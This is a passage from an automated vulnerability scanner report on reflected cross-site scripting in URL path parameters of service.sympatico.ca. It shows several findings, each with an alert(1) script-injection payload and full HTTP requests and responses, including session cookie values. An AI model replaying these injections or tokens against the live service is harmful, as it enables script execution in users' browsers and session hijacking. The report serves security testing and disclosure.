Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb8cc4"><script>alert(1)</script>0acf1ddec80/images/icons/vi_topNavBilling.png" />
...[SNIP]...

2.135. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 427a2"><script>alert(1)</script>3f6815fdaab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images427a2"><script>alert(1)</script>3f6815fdaab/icons/vi_topNavBilling.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:21 GMT
Connection: close
Set-Cookie: SMSESSION=w1JVmlw/2DfYH5Z/hBHt03oZawbIPc1FGmoW2wegUhIzE0vaeY+azYE/lK6KeDeIAED2+ewodxxgwocJ7yFbQvp2wgPVYdLU6aKlvEFbmGEwSQ9mbeAuidQuMqEfi6rK5pRsirFEHOv9CHfZmrYkOIQu0CDoCai+16LKu2odXMhvVYht8Xy5cq8xCCzRPgo69Sudsgk+r2AAfvUVLj8CbYPjjihG5LFQZ7RkDoeQk5LUX7LW22IaYjh0Mg1Id29v3PHldG6r3RW7OpS6Yt75gZoWrH3HLBS5TqA2fbo9E3UEFTwerhMz8A==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:21 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images427a2"><script>alert(1)</script>3f6815fdaab/icons/vi_topNavBilling.png" />
...[SNIP]...

2.136. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50018"><script>alert(1)</script>c8bbd4aec2b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons50018"><script>alert(1)</script>c8bbd4aec2b/vi_topNavBilling.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:24 GMT
Connection: close
Set-Cookie: SMSESSION=PHbnlJOw7ThmW/FAbJXRBkbY6HDqR4/9RT1jUIWsc2YlfsOhAObiVurPQEGu5bsUbfc1fJ/g8sXAqGVoiugko+OCMQ932KxGxjblikEpM6YjstOAJNs7Y0U63EDXwl2WkzT3QPscDDMykOFmOzvKo7w9HPQdq/1meyuQN/EWNIDkQWe/y2R8vUhkqm1IIuaPfabZa6VE4C0Ck20G4du0CIyj4G/BZDRsI4V+Sj4YRlue9tM3AV6ZirMcA+i7yIAtJMf2JEfetVCiuo0mrGaQf1F9q7+tFCDhn5T9cbnQAbEORcTLV5LI/w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:24 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons50018"><script>alert(1)</script>c8bbd4aec2b/vi_topNavBilling.png" />
...[SNIP]...

2.137. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d106d"><script>alert(1)</script>a57da40028e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.pngd106d"><script>alert(1)</script>a57da40028e HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettin